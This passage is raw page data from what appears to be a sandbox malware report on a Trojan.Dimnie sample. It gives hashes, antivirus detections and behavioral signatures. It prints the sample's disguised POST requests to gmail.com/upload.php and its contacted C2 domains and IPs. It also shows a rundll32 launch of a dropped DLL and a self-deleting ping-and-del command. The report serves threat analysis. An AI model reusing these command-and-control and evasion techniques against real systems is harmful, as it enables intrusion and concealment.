24:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/136wug8odqdqr.js"],"SampleDetailWrapper"] 29:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T47a,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan.Dimnie Sample 3f73b09d9cdd… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 3f73b09d9cdd…. Malware family: Trojan.Dimnie. Threat score 100/100. 21/28 AV engines flagged this file. 7 malicious and 19 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/3f73b09d9cdd100929061d8590ef0bc01b47999f47fa024f57c28dcd660e7c22","keywords":["Malicious","Trojan.Dimnie","malware analysis","sandbox report","threat intelligence","3f73b09d9cdd100929061d8590ef0bc01b47999f47fa024f57c28dcd660e7c22"],"about":{"@type":"SoftwareApplication","name":"Exe","applicationCategory":["peexe","executable"],"identifier":"3f73b09d9cdd100929061d8590ef0bc01b47999f47fa024f57c28dcd660e7c22","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Trojan.Dimnie","antivirusDetections":{"malicious":21,"total":28},"behavioralIndicators":{"malicious":7,"suspicious":19},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T438,"" touched file "%WINDIR%\system32\en-US\MSVFW32.dll.mui" "" touched file "%WINDIR%\system32\en-US\AVICAP32.dll.mui" "" touched file "%WINDIR%\Globalization\Sorting\sortdefault.nls" "" touched file "%WINDIR%\system32\en-US\COMDLG32.dll.mui" "" touched file "%WINDIR%\system32\en-US\MSCTF.dll.mui" "" touched file "%WINDIR%\system32\en-US\imaadp32.acm.mui" "" touched file "%WINDIR%\system32\en-US\msg711.acm.mui" "" touched file "%WINDIR%\system32\en-US\msgsm32.acm.mui" "" touched file "%WINDIR%\system32\en-US\msadp32.acm.mui" "" touched file "%WINDIR%\System32\en-US\l3codeca.acm.mui" "" touched file "%WINDIR%\system32\en-US\MSACM32.dll.mui" "" touched file "%WINDIR%\system32\wdmaud.drv" "" touched file "%WINDIR%\system32\en-US\wdmaud.drv.mui" "" touched file "%WINDIR%\system32\en-US\MMDevAPI.DLL.mui" "" touched file "%WINDIR%\system32\aythilo.dll"26:T13bf,"POST http://gmail.com/upload.php HTTP/1.1 User-Agent: Opera/9.80 (Windows NT 6.1; WOW64) Presto/2.12.388 Version/12.15 Host: gmail.com Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Encoding: gzip, deflate Cookie: UID=63b2a18f7e6d4c3a1907f6d4b3a1963a Connection: close Content-Length: 771 Content-Type: multipart/form-data; boundary=----------0b4C4c4C4Db4C5E6E6E6e7" with no payload "POST http://gmail.com/upload.php HTTP/1.1 User-Agent: Opera/9.80 (Windows NT 6.1; WOW64) Presto/2.12.388 Version/12.15 Host: gmail.com Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Encoding: gzip, deflate Cookie: UID=1e6e5c3b291a18f7e5d4b298f6d4c3a1 Connection: close Content-Length: 771 Content-Type: multipart/form-data; boundary=----------7c4C4d5d5E6091a2a2b3B3" with no payload "POST http://gmail.com/upload.php HTTP/1.1 User-Agent: Opera/9.80 (Windows NT 6.1; WOW64) Presto/2.12.388 Version/12.15 Host: gmail.com Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Encoding: gzip, deflate Cookie: UID=508074b3a1807f6d5c4b291b2a1907e6 Connection: close Content-Length: 771 Content-Type: multipart/form-data; boundary=----------fa2A3b3b3C4c4c4C5D5D5d" with no payload "POST http://gmail.com/upload.php HTTP/1.1 User-Agent: Opera/9.80 (Windows NT 6.1; WOW64) Presto/2.12.388 Version/12.15 Host: gmail.com Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Encoding: gzip, deflate Cookie: UID=61908f6d4c3a1807e5c907e6d4b2908f Connection: close Content-Length: 771 Content-Type: multipart/form-data; boundary=----------2e6e6e6E6e6e6f80808085" with no payload "POST http://gmail.com/upload.php HTTP/1.1 User-Agent: Opera/9.80 (Windows NT 6.1; WOW64) Presto/2.12.388 Version/12.15 Host: gmail.com Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Encoding: gzip, deflate Cookie: UID=0c4b2a91908f6e5c4b2a1807e5d4b3a2 Connection: close Content-Length: 771 Content-Type: multipart/form-data; boundary=----------F92a2a2b3B3b3b4c4C4C52" with no payload "POST http://gmail.com/upload.php HTTP/1.1 User-Agent: Opera/9.80 (Windows NT 6.1; WOW64) Presto/2.12.388 Version/12.15 Host: gmail.com Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Encoding: gzip, deflate Cookie: UID=c6d5c3a18f63b2907f6d4b2907e6d4b2 Connection: close Content-Length: 771 Content-Type: multipart/form-data; boundary=----------34ba9575B47cCc6f440181" with no payload "POST http://gmail.com/upload.php HTTP/1.1 User-Agent: Opera/9.80 (Windows NT 6.1; WOW64) Presto/2.12.388 Version/12.15 Host: gmail.com Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Encoding: gzip, deflate Connection: close Content-Length: 1007 Content-Type: multipart/form-data; boundary=----------27f50bBb83eBbBb83e831" with no payload "POST http://gmail.com/upload.php HTTP/1.1 User-Agent: Opera/9.80 (Windows NT 6.1; WOW64) Presto/2.12.388 Version/12.15 Host: gmail.com Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Encoding: gzip, deflate Connection: close Content-Length: 991 Content-Type: multipart/form-data; boundary=----------8D0864F531F531F531f2a" with no payload "POST http://gmail.com/upload.php HTTP/1.1 User-Agent: Opera/9.80 (Windows NT 6.1; WOW64) Presto/2.12.388 Version/12.15 Host: gmail.com Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Encoding: gzip, deflate Connection: close Content-Length: 831 Content-Type: multipart/form-data; boundary=----------efd7Efe29660333AC188b" with no payload "POST http://gmail.com/upload.php HTTP/1.1 User-Agent: Opera/9.80 (Windows NT 6.1; WOW64) Presto/2.12.388 Version/12.15 Host: gmail.com Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Encoding: gzip, deflate Connection: close Content-Length: 815 Content-Type: multipart/form-data; boundary=----------ad3Be197531f20E756420" with no payload27:T83e,"" wrote bytes "92e6c77779a8cc77be72cc77d62dcc771de2c77705a2cc77bee3c777616fcc776841ca770050ca7700000000ad3773768b2d7376b641737600000000" to virtual address "0x752D1000" (part of module "WSHTCPIP.DLL") "" wrote bytes "05000000" to virtual address "0x015A0004" "" wrote bytes "78563412" to virtual address "0x015A0000" "" wrote bytes "4f65666f7578666e617600" to virtual address "0x016F0000" "" wrote bytes "c4ca887680bb887652ba88769fbb887608bb887646ce887661388976de2f8976d0d9887600000000177926764f9126767f6f2676f4f7267611f72676f2832676857e267600000000" to virtual address "0x6BC61000" (part of module "MSIMG32.DLL") "" wrote bytes "4053ca775858cb77186acb77653ccc770000000000bf88760000000056cc8876000000007cca8876000000003768e4756a2ccc77d62dcc77000000002069e4750000000029a6887600000000a48de47500000000f70e887600000000" to virtual address "0x760E1000" (part of module "NSI.DLL") "" wrote bytes "0000580100000000" to virtual address "0x015A0020" "" wrote bytes "757a5e23" to virtual address "0x015A002C" "" wrote bytes "00006f0100000000" to virtual address "0x015A0018" "" wrote bytes "10993f7600000000653ccc77c855cb7700000000d0bb887680128976d62dcc7700000000" to virtual address "0x71981000" (part of module "KSUSER.DLL") "" wrote bytes "08f5033d" to virtual address "0x015A0028" "PING.EXE" wrote bytes "4053ca775858cb77186acb77653ccc770000000000bf88760000000056cc8876000000007cca8876000000003768e4756a2ccc77d62dcc77000000002069e4750000000029a6887600000000a48de47500000000f70e887600000000" to virtual address "0x760E1000" "svchost.exe" wrote bytes "92e6c77779a8cc77be72cc77d62dcc771de2c77705a2cc77bee3c777616fcc776841ca770050ca7700000000ad3773768b2d7376b641737600000000" to virtual address "0x752D1000" "svchost.exe" wrote bytes "4053ca775858cb77186acb77653ccc770000000000bf88760000000056cc8876000000007cca8876000000003768e4756a2ccc77d62dcc77000000002069e4750000000029a6887600000000a48de47500000000f70e887600000000" to virtual address "0x760E1000"28:T62c,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAQ1SURBVFhHtVfZS1RRGPdfCQwtkWiPJAp6KKKXQoICS6QooZAiyY0009Rc0il1dBK3Kdww992YMsvUcDIL11wqsu0pX+zl6/4+51zPvc6duaP18DFeZ+79bd/5zrl+y8t/yNHXT0mpmZSQnL6hSs+2UKejn/BMs+WHHwIcNw6NjrutAecY6WtoyEmovkEnOV4NU2NHL/U8HyCQQI3PfTFFgglAOcDnFn+t1NefXFMLi15rfPYz39vc5VDvrW3qoLikO0zamxNrCZgFVhRC5bvJOQYCqCpAEVFRVU+xiSk0MTXtkYSWgI/gMoHqhtZV91xOggTi/b20ZEhCQ8CU5S7lAIf9cAB9UFXfosbFEbpI5FlL2A0RxVR3F409Wb32iQCDilLABQE0IyKQBYg+Qn8gisX5eao7H0HWoEAq272DOuNimJRKADkaOaABlpRDPUo0oTsCcAIE7oXsp55jR2g6JppmEmLpvkLEFAFv4IIAYsBKQBSVNY1q2S0FZNmzi5pC9tH09as0n5XBDgzair0TADgenJlXyA8EAABL7NV8Xa5ki2t84hp5OwaG1aq9m82W1+3cRhMXImg2OZHBX1sL1Z4wjEBWnmWxct4AwMARwA+Ky5gUPt+Oz/AgQpQcSa6FigL8qUIh8D70BKsH+EBBvmZFrDah0kjIcI3ligsgIJQDDA0nruEGCgScH6ZXJqnyLOvWAOreHkyjhw+y+krFBT24pgdwkx4cDwWQIJBb8JAdEID4P0Y4PgGO7xBZQ1oGlW/eRCMKKNQDvCElxe0sUB3AjfolhuECAFiP5gIACIkma2jrZkAQKCp7xMRqUtPY+pfBW2js+FGOIOlkKLW0tJsk4BouYonpP+EKSAkS6AHemKTce4MCaMQFnhF2jvcakHW3L2gd8AAOYDhQ9riOCah5u3ZQNB1sf4bcT59i2zPOhrM7GMemCBipRmej8wGsaTYXeFuRTe32j9eiVsDDIxjcWmrn7XndBGAt7EbWUK1X3llaweDo9Ln4GBUcfYOewIpB8/pMAEpRyFhYrgfvqapl8MnLkbRw6yaDZ16M5LkAxxAZBhOuvRLAD0UEAlzkDvX605KjuZ2nHMA/pd5mIjlXong1YMWANO5D+URABhfTDRNOJoAjmG3vLg14XvQNthxKIUaA+0RABpfzRgyyC/ZLkfQm7AzvanAhPzGZ+0RWvSEC+qyxCjqevuDDp6O1k+yB/tR76ADvcrYcCzeaXrUgYL4HlIe7W2LCepAAgcrYeN7LqxKTDBXzSVnaFU31AHLWK5fB5WO5fCSXrZZVr4uAu/cCT+8DZsBNR6DvdJDxBVxWrPlbic10BEaW8yFDehPSK/cEjr7xiYAvqvXNplcOV1GmCfwPcFMEsF1iLWOQiMK6F4VB5Kkw840KkxG7Ir43PA/8q9dzo9d7nKq/ff/hlsBfiaM9jmuElwQAAAAASUVORK5CYII=1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"3f73b09d9cdd100929061d8590ef0bc01b47999f47fa024f57c28dcd660e7c22","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790331554341,"unified_at":"2026-09-25T10:19:14.341Z","metadata":{"hashes":{"sha256":"3f73b09d9cdd100929061d8590ef0bc01b47999f47fa024f57c28dcd660e7c22","sha1":"0df45a365e2135531b0beba8e50d0453eee70047","md5":"b5126b18814413fe10ab6fa5f9bcf692","sha512":"41887276a6bfb59b9692980f20ecf8c2c74016b970770bf27eb76b2a6a42e675bdf67b495c2bfeebe87154fce47fbb365cfc9a7d43a9d50fe6d2ba6e02b2e53f","ssdeep":"6144:x9ZmCuCoocuGdyC/upZR1F4OPPL09S2h+Da6AgPyx6QmcNM:x9ZmC8ocuGdH/0ZRoOHA9S2IArx6M","ssdeep_chunks":["6144:x9ZmCuC","6144:9ZmCuCo","6144:ZmCuCoo","6144:mCuCooc","6144:CuCoocu","6144:uCoocuG","6144:CoocuGd","6144:oocuGdy","6144:ocuGdyC","6144:cuGdyC/","6144:uGdyC/u","6144:GdyC/up","6144:dyC/upZ","6144:yC/upZR","6144:C/upZR1","6144:/upZR1F","6144:upZR1F4","6144:pZR1F4O","6144:ZR1F4OP","6144:R1F4OPP","6144:1F4OPPL","6144:F4OPPL0","6144:4OPPL09","6144:OPPL09S","6144:PPL09S2","6144:PL09S2h","6144:L09S2h+","6144:09S2h+D","6144:9S2h+Da","6144:S2h+Da6","6144:2h+Da6A","6144:h+Da6Ag","6144:+Da6AgP","6144:Da6AgPy","6144:a6AgPyx","6144:6AgPyx6","6144:AgPyx6Q","6144:gPyx6Qm","6144:Pyx6Qmc","6144:yx6QmcN","6144:x6QmcNM","12288:x9ZmCuC","12288:9ZmCuCo","12288:ZmCuCoo","12288:mCuCooc","12288:CuCoocu","12288:uCoocuG","12288:CoocuGd","12288:oocuGdy","12288:ocuGdyC","12288:cuGdyC/","12288:uGdyC/u","12288:GdyC/up","12288:dyC/upZ","12288:yC/upZR","12288:C/upZR1","12288:/upZR1F","12288:upZR1F4","12288:pZR1F4O","12288:ZR1F4OP","12288:R1F4OPP","12288:1F4OPPL","12288:F4OPPL0","12288:4OPPL09","12288:OPPL09S","12288:PPL09S2","12288:PL09S2h","12288:L09S2h+","12288:09S2h+D","12288:9S2h+Da","12288:S2h+Da6","12288:2h+Da6A","12288:h+Da6Ag","12288:+Da6AgP","12288:Da6AgPy","12288:a6AgPyx","12288:6AgPyx6","12288:AgPyx6Q","12288:gPyx6Qm","12288:Pyx6Qmc","12288:yx6QmcN","12288:x6QmcNM","6144:x9ZmC8o","6144:9ZmC8oc","6144:ZmC8ocu","6144:mC8ocuG","6144:C8ocuGd","6144:8ocuGdH","6144:ocuGdH/","6144:cuGdH/0","6144:uGdH/0Z","6144:GdH/0ZR","6144:dH/0ZRo","6144:H/0ZRoO","6144:/0ZRoOH","6144:0ZRoOHA","6144:ZRoOHA9","6144:RoOHA9S","6144:oOHA9S2","6144:OHA9S2I","6144:HA9S2IA","6144:A9S2IAr","6144:9S2IArx","6144:S2IArx6","6144:2IArx6M"],"imphash":"30f1d468b6d20bec893c958cfab2f4ec"},"file_info":{"file_name":"Exe","file_type":["peexe","executable"],"file_type_id":"exe","file_size":346624,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1499288019000,"last_seen":1677364474000,"last_multi_scan":1677364474000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":null},"stats":{"av":{"malicious_count":21,"suspicious_count":0,"total_engines":28},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":0},"sandbox_signatures":{"informative_count":18,"suspicious_count":19,"malicious_count":7,"total":44},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"aegislab":{"name":"AegisLab","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Dimnie.tnk6","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Trojan/Win32.MDA","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan/Win32.Dimnie","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"TR/Crypt.XPACK.egmmr","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Gen:Variant.Strictor.121946","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"malicious","threat_name":"Win.Trojan.Generic-5718288-0","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"cyren":{"name":"Cyren","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Gen:Variant.Strictor.121946 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"Win32/Agent.RVQ trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Trojan ( 001dff081 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"kaspersky":{"name":"Kaspersky","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Dimnie.hb","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"microsoftdefender":{"name":"Microsoft Defender","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Agent.ekxsrm","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"malicious","threat_name":"Confidence_99","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"malicious","threat_name":"Troj/Agent-AVEH","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"malicious","threat_name":"Trojan/W32.Dimnie.346624","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicro":{"name":"Trend Micro","success":true,"verdict":"malicious","threat_name":"TROJ_DYER.BME","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicrohousecall":{"name":"Trend Micro HouseCall","success":true,"verdict":"malicious","threat_name":"TROJ_DYER.BME","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"malicious","threat_name":"BScope.TrojanSpy.Stealer","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"malicious","threat_name":"Trojan.Dimnie.Win32.45","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Trojan.Dimnie","sources":[{"report_type":"quickscan","report_id":""}]}]},"sandbox_signatures":[{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)","description":"SetUnhandledExceptionFilter@KERNEL32.dll at 53628-1062-004174DC\n SetUnhandledExceptionFilter@KERNEL32.dll at 53628-2416-00412E93\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00018362-00002092-3925-17-0040C49D\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00018362-00002092-3925-16-0040B1AB\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00018362-00002092-3925-464-004174DC\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00018362-00002092-3925-885-00412E93","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-4","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query machine time","description":"GetSystemTimeAsFileTime@KERNEL32.DLL at 00018362-00002092-3925-406-0041336A","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-2","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the machine version","description":"GetVersionExW@KERNEL32.dll at 53628-1210-00403398\n GetVersionExW@KERNEL32.dll at 53628-2428-0040302A\n GetVersionExW@KERNEL32.DLL at 00018362-00002092-3925-60-0040121E\n GetVersionExW@KERNEL32.DLL at 00018362-00002092-3925-610-00403398\n GetVersionExW@KERNEL32.DLL at 00018362-00002092-3925-898-0040302A\n GetVersionExW@KERNEL32.DLL at 00018362-00002092-10542-60-0040121E","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-3","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"level":"informative","category":"Environment Awareness","name":"Possibly tries to detect the presence of a debugger","description":"GetProcessHeap@KERNEL32.DLL at 00018362-00002092-3925-338-00418676","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-31","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"\"\" queries volume information of \"C:\\\" at 00018362-00002092-0000010C-55307452","origin":"API Call","relevance":2,"id":"api-11","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information of an entire harddrive","description":"\"\" queries volume information of \"C:\\\" at 00018362-00002092-0000010C-55307452","origin":"API Call","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"gmail.com\"\n \"oneindex.bit\"\n \"onechat.pw\"","origin":"Network Traffic","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"176.9.81.4:80\"\n \"185.121.177.177:53\"\n \"178.63.1.41:80\"","origin":"Network Traffic","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"\\Sessions\\1\\BaseNamedObjects\\Local\\MidiMapper_modLongMessage_RefCnt\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZoneAttributeCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\{683315A6-0000-0000-000A-0000683315A6}\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"level":"informative","category":"General","name":"Runs shell commands","description":"\"/c ping -n 1 127.0.0.1 && del \"C:\\Exe\" >> NUL\" on 2017-1-27.02:59:00.140","origin":"Monitored Target","relevance":5,"id":"target-3","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"level":"informative","category":"General","name":"Scanning for window names","description":"\"\" searching for class \"Shell_TrayWnd\"\n \"\" searching for class \"bolts KEY blank Maps A4.\"\n \"\" searching for class \"SysCredential\"\n \"\" searching for class \"BUTTON\"\n \"\" searching for class \"ComboBoxEx32\"","origin":"API Call","relevance":10,"id":"api-70","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"Spawned process \"rundll32.exe\" with commandline \"rundll32 \"%WINDIR%\\system32\\aythilo.dll\",SvcMain Oefouxfnav INST\" (UID: 00023905-00002784)\n Spawned process \"cmd.exe\" with commandline \"/c ping -n 1 127.0.0.1 && del \"C:\\Exe\" >> NUL\" (UID: 00024079-00002892)\n Spawned process \"PING.EXE\" with commandline \"ping -n 1 127.0.0.1\" (UID: 00024106-00002920)\n Spawned process \"svchost.exe\" (UID: 00024815-00003076)\n Spawned process \"svchost.exe\" (UID: 00024996-00003108)\n Spawned process \"svchost.exe\" (UID: 00025233-00003152)","origin":"Monitored Target","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"level":"informative","category":"Installation/Persistance","name":"Connects to LPC ports","description":"\"\" connecting to \"\\ThemeApiPort\"","origin":"API Call","relevance":1,"id":"api-16","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"level":"informative","category":"Installation/Persistance","name":"Dropped files","description":"\"aythilo.dll\" has type \"PE32 executable (DLL) (GUI) Intel 80386 for MS Windows\"","origin":"Binary File","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"level":"informative","category":"Installation/Persistance","name":"Touches files in the Windows directory","description":"$25","origin":"API Call","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Heuristic match: \"WMP11.AssocFile.AU\"\n Pattern match: 